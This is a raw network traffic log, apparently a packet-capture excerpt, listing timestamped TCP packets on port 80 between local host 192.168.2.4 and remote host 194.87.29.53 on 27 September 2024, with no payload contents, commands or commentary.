Sep 27, 2024 18:29:06.308422089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.308433056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.308442116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.308471918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.308495998 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.308516026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.308527946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.308537006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.308556080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.308583021 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.308587074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.308629990 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.308733940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.308773994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.309530973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.309583902 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.309601068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.309611082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.309632063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.309643030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.309659958 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.309679985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.309691906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.309715033 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.309715033 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.309743881 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.309815884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.309828043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.309837103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.309845924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.309858084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.309869051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.309895039 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.310137033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.310184956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.310199976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.310209990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.310230970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.310240030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.310240030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.310259104 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.310271025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.310288906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.310317993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.310328960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.310353994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.310370922 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.310429096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.310439110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.310448885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.310470104 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.310488939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.310493946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.310528040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.311162949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.311212063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.311212063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.311220884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.311254978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.311284065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.311294079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.311302900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.311317921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.311326027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.311351061 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.311372042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.311405897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.311415911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.311448097 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.311459064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.311475039 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.311486006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.311516047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.311538935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.312150002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.312200069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.312207937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.312218904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.312247038 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.312258959 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.312278986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.312289953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.312303066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.312319994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.312344074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.312839031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.312886953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.312896967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.312933922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.312966108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.312978029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.312997103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313008070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313016891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313028097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313041925 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.313066006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.313093901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313105106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313114882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313137054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.313162088 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.313571930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313607931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313616991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313622952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.313647985 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.313657999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.313913107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313934088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313942909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.313961983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.313983917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.314028025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314038992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314053059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314062119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314069033 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.314073086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314091921 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.314116955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.314429045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314479113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.314507961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314517021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314531088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314553022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.314568996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314570904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.314583063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314594984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314604044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314610004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.314636946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.314640045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314661980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.314678907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314686060 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.314688921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314698935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.314723015 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.314739943 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.315429926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.315478086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.315481901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.315491915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.315515995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.315521955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.315526009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.315540075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.315551996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.315566063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.315568924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.315579891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.315612078 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.315623999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.315634966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.315665960 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.315686941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.315701962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.315711975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.315743923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.316663980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.316673040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.316683054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.316698074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.316709995 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.316714048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.316724062 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.316754103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.316783905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.316795111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.316806078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.316818953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.316839933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.393965006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.393996000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394006014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394048929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394057989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394068956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394078970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394175053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394195080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.394195080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.394195080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.394195080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.394217968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.394244909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394256115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394289970 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.394345999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394356966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394366980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394376040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394397020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.394409895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.394490004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394500017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394515038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394526005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394541979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.394567013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.394639969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394650936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394659996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.394685984 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.394714117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.395119905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395138979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395153046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395172119 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.395195961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.395258904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395268917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395277977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395306110 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.395323038 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.395338058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395349026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395381927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.395396948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.395472050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395517111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.395538092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395549059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395584106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.395674944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395685911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395695925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395705938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395714998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.395721912 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.395742893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.395761967 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.396388054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.396429062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.396437883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.396439075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.396476030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.396487951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.396518946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.396565914 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.396576881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.396586895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.396596909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.396604061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.396625042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.396647930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.396923065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.396933079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.396941900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.396972895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.396986961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.396995068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397023916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397032976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397037029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.397067070 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.397097111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397108078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397164106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.397175074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397183895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397219896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397219896 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.397231102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397267103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.397329092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397340059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397349119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397377968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.397389889 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.397443056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.397492886 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.398140907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.398190022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.398190975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.398200035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.398227930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.398241043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.398267984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.398277998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.398287058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.398317099 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.398340940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.398402929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.398452044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.398962021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.398988008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.398998022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399010897 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.399025917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.399040937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.399110079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399120092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399130106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399141073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399158001 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.399185896 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.399528980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399559975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399570942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399580956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.399602890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.399611950 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.399683952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399694920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399704933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399714947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399734020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.399744034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.399758101 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.399786949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.400742054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.400758028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.400794029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.400808096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.400826931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.400839090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.400870085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.400893927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.400895119 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.400904894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.400914907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.400938988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.400964975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.400994062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401005983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401015997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401026011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401047945 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.401063919 CEST	60865	80	192.168.2.4	194.87.29.53
